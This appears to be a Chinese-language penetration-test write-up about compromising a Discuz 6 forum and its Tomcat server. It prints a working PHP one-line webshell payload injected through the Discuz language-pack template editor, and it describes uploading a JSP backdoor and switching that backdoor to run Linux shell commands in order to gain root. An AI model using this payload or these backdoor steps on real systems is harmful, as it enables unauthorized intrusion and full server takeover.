最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。

 

测试过程:

 

1、首先探测目标。

 

经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论坛则采用Discuz 6.0(PHP)。

 

2、确定攻击方向。

 

经过简单测试,网站管理后台不存在常见用户名和密码组合,同时Tomcat 无弱口令漏洞,而Discuz 6存在多个漏洞,因此基本选定论坛作为主攻方向。

 

3、发现漏洞。

 

经过查询漏洞公告,发现了论坛上几个跨站点,但是注入点测试均不成功。于是利用扫描器对网站和论坛进行应用与系统扫描,发现存在跨站与SQL注入。

 

4、利用漏洞。

 

两相比较,注入点比跨站危害更大,获取信息手段更直接,因此,首先考虑利用SQL注入漏洞。将注入点放到穿山甲(Pangolin )中进行数据猜解,成功猜解出当前

 

数据库用户、数据库版本、数据库名称等敏感数据。但是对表的猜解出现问题,无法猜解出完整表名,只能大概确定表前缀为“cdb_”(见笑了,我对Discuz 不了解)。多次使用穿山甲并更换版本,仍无法成功猜解表名。

 

无奈之下,只有从其他方向入手。因此,搜索并下载了Discuz 6,对其数据库分析,这时我才知道原来“cdb_”是Discuz 的固定表名前缀。到这里,确定了需要猜解的表名cdb_admin。手动添加表名及关键列名至pangolin 中,继续猜解,成功猜解出论坛admin的密文,经过查询,获取了管理密码明文。

 

5、获取webshell。

 

在成功进入管理后台后,我一度迷茫,被网上各种利用Discuz 后台获取webshell的方法所困惑。为保险起见,我在本地搭建测试环境,多次尝试利用模板编辑的语言包部分进行一句话木马的获取,均不成功。无奈之下只好再次转向注入点的利用。

 

然而,令人失望的是,经过多次猜解,仍不能获取网站后台用户信息。悲剧的一天就这么结束了。

 

第二天,我不得不继续Discuz 后台的渗透,比较幸运的是,很快搜索到了相关的技巧。具体过程是:进入后台后,点击【模板管理】->【模板编辑】,在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】改为 游客\\\\\\\\');eval($_POST[c]);echo (""//。

 

经过本地测试,取得了成功,于是在目标论坛上尝试,成功插入了一句话木马,进而上传了大马。

 

6、提权。

 

由于php的权限较低,无法读取一些系统文件和配置文件,更别说执行系统命令,因此必须进行提权。

 

首先我想到的是MySQL提权,因为之前有类似经历。不过,管理员对数据库用户权限进行了严格划分,目标网站使用的用户仅仅是dbowner权限。而利用websehll进行了数据搜寻后始终无法获取root用户密码,不得已放弃此路。

 

正所谓“山重水复疑无路,柳暗花明又一村”。一筹莫展之际,我突然想到,到现在为止我都未利用网站采用的Tomcat 服务器。与asp.net一样,jsp的权限一般都比较大。于是,我上传jsp后门至网站根目录。果然,利用JSP后门可以成功读取系统文件。恰在此时,我在网上看到邪恶八进制里一篇文章曾提到过:上传JSP后门至Tomcat 类网站目录,直接获取服务器root权限,汗......真的打开了/root目录。

 

7、最终提权

 

之所以还有一个最终提权,是因为在第六步中,虽然已经获取了root权限,但是却无法执行系统命令。我使用的是JSP Browser1.2。而数据库root用户密码仍不可得,因此到目前无法真正完全获取服务器权限(添加一个管理员账号)。

 

对JSP一窍不同的我,经过搜索与询问,确认是可以利用JSP执行Linux系统命令的。但无奈自己水平太低,不会手动写。只好分析JSP Browser 。让我吃惊的是,原来,该后门实际上是提供Linux 命令执行功能的:

private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows 

 

    

 

  //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix

稍微懂点代码的人都知道上面是什么意思了。至此,问题就简单了,将windows 类的注释掉,启用Unix 类即可。修改完成后重新上传该Webshell,成功执行系统命令。

 

后记:

 

此次渗透中我学到了提权的两种方法。

 

1、查找数据库配置文件,获取数据库root用户,进而获取系统root权限。

 

2、利用Tomcat默认配置下运行权限为root权限进行提权,最终获取root权限。